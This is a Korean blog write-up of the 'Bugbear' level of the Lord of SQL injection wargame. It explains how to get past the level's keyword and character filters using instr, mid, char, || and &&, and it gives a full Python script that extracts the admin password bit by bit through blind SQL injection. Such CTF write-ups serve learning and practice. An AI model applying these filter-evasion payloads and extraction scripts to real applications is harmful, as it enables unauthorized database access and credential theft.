D1N0's hacking blog
Lord of SQL injection - Bugbear 본문
문제 풀이
코드를 보면 ', substr, ascii, =, or, and, 공백, like, 0x를 필터링하고 있다
'는 no 부분에 '가 없기 때문에 우회 가능하고, substr은 mid, ascii는 char, or는 ||, and는 &&(%26%26)로 우회 가능하며, 공백은 tab이나 괄호 등으로 우회 가능하다
문제는 =과 like인데, 이와 비슷한 기능을 하는 instr을 이용하면 우회할 수 있다
STEP 0 - SQL injection 취약점 확인
no=1234||instr(id,char(97,100,109,105,110));%23
instr은 일치하는 문자열의 개수를 반환하는 함수인데, instr([문자열], [찾을 문자열])을 통해 =을 우회할 수 있다
STEP 1 - pw 길이 구하기
no=1234||instr(id,char(97,100,109,105,110))%26%26instr(length(pw),[길이 예측]);%23
위에 우회만 고려하면 전과 크게 다르지 않다
코드로 짜면 다음과 같다
import requests
target = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
cookies = {"PHPSESSID": "[본인의 세션 값]"}
for i in range(100):
pay = f"?no=1234||instr(id,char(97,100,109,105,110))%26%26instr(length(pw),{i});%23"
res = requests.get(target + pay, cookies=cookies)
if "Hello admin" in res.text:
print("length :", i)
length = i
break
길이가 8이 나온다
STEP 2 - pw 구하기
no=1234||instr(id,char(97,100,109,105,110))%26%26instr(mid(lpad(conv(hex(mid(pw,[몇 번째 글자],1)),16,2),8,0),[이진수 자릿수],1),1);%23
이것도 위와 비슷하게 하면 된다
코드는 다음과 같다
import requests
target = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
cookies = {"PHPSESSID": "[본인의 세션 값]"}
length = 8
pw = str()
for i in range(1, length + 1):
tmp = str()
for j in range(1, 9):
pay = f"?no=1234||instr(id,char(97,100,109,105,110))%26%26instr(mid(lpad(conv(hex(mid(pw,{i},1)),16,2),8,0),{j},1),1);%23"
res = requests.get(target + pay, cookies=cookies)
if "Hello admin" in res.text:
tmp += '1'
else:
tmp += '0'
pw += chr(int(tmp, 2))
print("pw :", pw)
STEP 3 - 인증하기
위에서 나온 pw를 넣으면 클리어 된다
전체 코드
import requests
target = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
cookies = {"PHPSESSID": "[본인의 세션 값]"}
######get pw length#######
for i in range(100):
pay = f"?no=1234||instr(id,char(97,100,109,105,110))%26%26instr(length(pw),{i});%23"
res = requests.get(target + pay, cookies=cookies)
if "Hello admin" in res.text:
print("length :", i)
length = i
break
#######get pw#######
pw = str()
for i in range(1, length + 1):
tmp = str()
for j in range(1, 9):
pay = f"?no=1234||instr(id,char(97,100,109,105,110))%26%26instr(mid(lpad(conv(hex(mid(pw,{i},1)),16,2),8,0),{j},1),1);%23"
res = requests.get(target + pay, cookies=cookies)
if "Hello admin" in res.text:
tmp += '1'
else:
tmp += '0'
pw += chr(int(tmp, 2))
print("pw :", pw)
'Web > Lord of SQL injection' 카테고리의 다른 글
Lord of SQL injection - Assassin (0) | 2021.02.19 |
---|---|
Lord of SQL injection - Giant (0) | 2021.02.15 |
Lord of SQL injection - Darkknight (0) | 2020.11.14 |
Lord of SQL injection - Golem (0) | 2020.11.12 |
Lord of SQL injection - Skeleton (0) | 2020.11.11 |
Comments